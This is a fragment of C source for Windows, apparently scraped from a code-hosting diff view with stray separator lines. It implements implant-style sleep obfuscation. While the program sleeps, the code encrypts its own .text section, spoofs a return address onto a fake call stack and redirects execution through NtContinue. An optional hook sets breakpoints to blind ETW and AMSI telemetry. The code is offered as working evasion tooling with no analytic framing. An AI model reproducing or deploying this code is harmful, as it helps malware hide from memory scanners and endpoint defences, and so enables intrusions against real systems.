RtlCaptureContext_t fn_cap = (RtlCaptureContext_t)GetProcAddress(hntdll, "RtlCaptureContext");
|
|
||||||
PVOID fn_rts = GetProcAddress(hntdll, "RtlUserThreadStart");
|
|
||||||
|
|
||||||
VirtualProtect_t fn_vprot = (VirtualProtect_t) GetProcAddress(hk32, "VirtualProtect");
|
|
||||||
Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, "Sleep");
|
|
||||||
SetEvent_t fn_setevent= (SetEvent_t) GetProcAddress(hk32, "SetEvent");
|
|
||||||
|
|
||||||
if (!fn_cont || !fn_wait || !fn_cap || !fn_vprot || !fn_sleep || !fn_setevent) {
|
|
||||||
Sleep(ms); return;
|
|
||||||
}
|
|
||||||
|
|
||||||
obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc(
|
|
||||||
GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t));
|
|
||||||
if (!ctx) { Sleep(ms); return; }
|
|
||||||
|
|
||||||
ctx->text_base = text_base;
|
|
||||||
ctx->text_size = text_size;
|
|
||||||
ctx->sleep_ms = ms;
|
|
||||||
ctx->ntcontinue = fn_cont;
|
|
||||||
ctx->fn_vprot = fn_vprot;
|
|
||||||
ctx->fn_sleep = fn_sleep;
|
|
||||||
ctx->fn_setevent = fn_setevent;
|
|
||||||
ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL);
|
|
||||||
if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; }
|
|
||||||
|
|
||||||
/* relative timeout in 100ns units with 5s buffer */
|
|
||||||
ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL);
|
|
||||||
|
|
||||||
BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
|
||||||
|
|
||||||
ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ,
|
|
||||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
||||||
if (!ctx->fake_stack_mem) {
|
|
||||||
CloseHandle(ctx->done);
|
|
||||||
HeapFree(GetProcessHeap(), 0, ctx);
|
|
||||||
Sleep(ms);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* place trampoline as return address on fake stack top */
|
|
||||||
PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16);
|
|
||||||
fake_top[0] = (PVOID)_sleep_trampoline;
|
|
||||||
fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL;
|
|
||||||
|
|
||||||
ctx->orig_stack_base = _teb_read_ptr(0x08);
|
|
||||||
ctx->orig_stack_limit = _teb_read_ptr(0x10);
|
|
||||||
|
|
||||||
s_obf_ctx = ctx;
|
|
||||||
InterlockedExchange(&s_restore, 0);
|
|
||||||
|
|
||||||
/* capture current context — RIP lands here after NtContinue restores it */
|
|
||||||
fn_cap(&s_saved_ctx);
|
|
||||||
|
|
||||||
/* two-pass: encrypt path sets s_restore=1; restore path sees it and cleans up */
|
|
||||||
if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) {
|
|
||||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
|
||||||
CloseHandle(ctx->done);
|
|
||||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
|
||||||
HeapFree(GetProcessHeap(), 0, ctx);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
InterlockedExchange(&s_restore, 1);
|
|
||||||
|
|
||||||
/* build fake context: RIP=NtWait, RSP=fake_stack */
|
|
||||||
CONTEXT fake_ctx;
|
|
||||||
memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT));
|
|
||||||
fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
|
|
||||||
fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
|
|
||||||
fake_ctx.Rcx = (DWORD64)ctx->done;
|
|
||||||
fake_ctx.Rdx = FALSE;
|
|
||||||
fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout;
|
|
||||||
|
|
||||||
/* create timer thread before encrypting — DLL_THREAD_ATTACH needs .text */
|
|
||||||
HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL);
|
|
||||||
if (!ht) {
|
|
||||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
|
||||||
CloseHandle(ctx->done);
|
|
||||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
|
||||||
HeapFree(GetProcessHeap(), 0, ctx);
|
|
||||||
InterlockedExchange(&s_restore, 0);
|
|
||||||
Sleep(ms);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* optional hook: arm ETW/AMSI breakpoints on the timer thread */
|
|
||||||
if (g_sleep_obf_thread_hook)
|
|
||||||
g_sleep_obf_thread_hook(ht);
|
|
||||||
|
|
||||||
CloseHandle(ht);
|
|
||||||
|
|
||||||
/* verify permission round-trip before committing (fails under ACG) */
|
|
||||||
BYTE *p = (BYTE *)text_base;
|
|
||||||
DWORD old, dummy;
|
|
||||||
if (!_nt_prot(p, text_size, PAGE_READWRITE, &old))
|
|
||||||
goto _fallback;
|
|
||||||
if (!_nt_prot(p, text_size, old, &dummy)) {
|
|
||||||
_nt_prot(p, text_size, old, &dummy);
|
|
||||||
goto _fallback;
|
|
||||||
}
|
|
||||||
_nt_prot(p, text_size, PAGE_READWRITE, &old);
|
|
||||||
|
|
||||||
_obf_sleep_tail(ctx, &fake_ctx);
|
|
||||||
__builtin_unreachable();
|
|
||||||
|
|
||||||
_fallback:
|
|
||||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
|
||||||
CloseHandle(ctx->done);
|
|
||||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
|
||||||
HeapFree(GetProcessHeap(), 0, ctx);
|
|
||||||
InterlockedExchange(&s_restore, 0);
|
|
||||||
Sleep(ms);
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user